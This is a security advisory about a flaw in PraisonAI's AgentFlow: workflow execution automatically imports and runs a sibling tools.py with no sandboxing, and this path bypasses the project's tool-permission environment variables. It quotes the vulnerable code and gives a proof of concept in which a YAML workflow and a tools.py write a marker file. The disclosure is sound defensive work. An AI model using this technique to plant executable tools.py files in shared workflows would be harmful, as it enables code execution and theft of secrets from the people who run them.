PraisonAI: Unsafe Dynamic Module Loading Leads to Arbitrary Code Execution via tools.py in AgentFlow

Summary

An unsafe dynamic module loading vulnerability allows an attacker who can control a workflow file and a sibling tools.py to execute arbitrary Python code when the workflow is executed.

Details

The vulnerability is located in the workflow structured output resolution logic.

File: src/praisonai-agents/praisonaiagents/workflows/workflows.py

Method: AgentFlow._resolve_pydantic_class

if self.file_path:
    workflow_dir = Path(self.file_path).parent
    tools_path = workflow_dir / "tools.py"

    if tools_path.exists():
        spec = importlib.util.spec_from_file_location("tools", tools_path)
        tools_module = importlib.util.module_from_spec(spec)
        spec.loader.exec_module(tools_module)   # Arbitrary code execution

This code is reached during step execution when a step uses a string output_pydantic:

step_output_pydantic = getattr(step, '_output_pydantic', None)
if step_output_pydantic and isinstance(step_output_pydantic, str):
    resolved_class = self._resolve_pydantic_class(step_output_pydantic)

file_path is set automatically by:

• WorkflowManager._load_workflow() (used by workspace discovery)
• WorkflowManager.create_workflow()

It can also be set manually after load_yaml():

wf = mgr.load_yaml("workflow.yaml")
wf.file_path = "workflow.yaml"

The exec_module() call has no sandboxing and ignores the PRAISONAI_ALLOW_*_TOOLS environment variables used elsewhere in the project.

PoC

Create the following two files in the same directory:

/tmp/attack/attack.yaml

name: AttackWorkflow
steps:
  - name: generate
    action: "Produce structured output"
    output_pydantic: MaliciousModel

/tmp/attack/tools.py

print("[RCE] Arbitrary code executed from tools.py")

import os
with open("/tmp/rce_success.txt", "w") as f:
    f.write(f"RCE executed by PID {os.getpid()}")

class MaliciousModel:
    @classmethod
    def model_json_schema(cls):
        return {"type": "object"}

Run the following Python code (adjust the path to your PraisonAI source):

import sys
sys.path.insert(0, "/home/user/praisonai/src/praisonai-agents")

from praisonaiagents.workflows import WorkflowManager
from praisonaiagents.agent.agent import Agent

mgr = WorkflowManager()
wf = mgr.load_yaml("/tmp/attack/attack.yaml")

wf.file_path = "/tmp/attack/attack.yaml"

for step in wf.steps:
    step.output_pydantic = "MaliciousModel"
    step._output_pydantic = "MaliciousModel"
    if not getattr(step, "agent", None):
        step.agent = Agent(
            name="researcher",
            role="Researcher",
            goal="Generate output",
            instructions="Return structured data"
        )

wf.start("trigger")

Impact

Type: Execution of Untrusted Local Code via Unsafe Dynamic Module Loading.

Affected users include:

• Users of WorkflowManager(workspace_path=...), where workflow discovery automatically sets file_path.
• Users of WorkflowManager.create_workflow().
• Applications that load workflows from repositories, templates, shared workflow collections, CI/CD artifacts, or other directories that may contain untrusted files.

During workflow execution, a string output_pydantic reference causes the framework to automatically locate, import, and execute a sibling tools.py file.

As a result, code contained in tools.py executes with the privileges of the workflow runner without requiring an explicit import or user approval step.

Successful exploitation results in arbitrary Python code execution within the workflow process. An attacker may be able to read local files, access secrets available to the process, modify workflow behavior, perform network operations, or execute additional system commands.

This behavior also bypasses the PRAISONAI_ALLOW_TEMPLATE_TOOLS / PRAISONAI_ALLOW_LOCAL_TOOLS protections used elsewhere in the project, allowing code execution through a separate workflow-resolution path.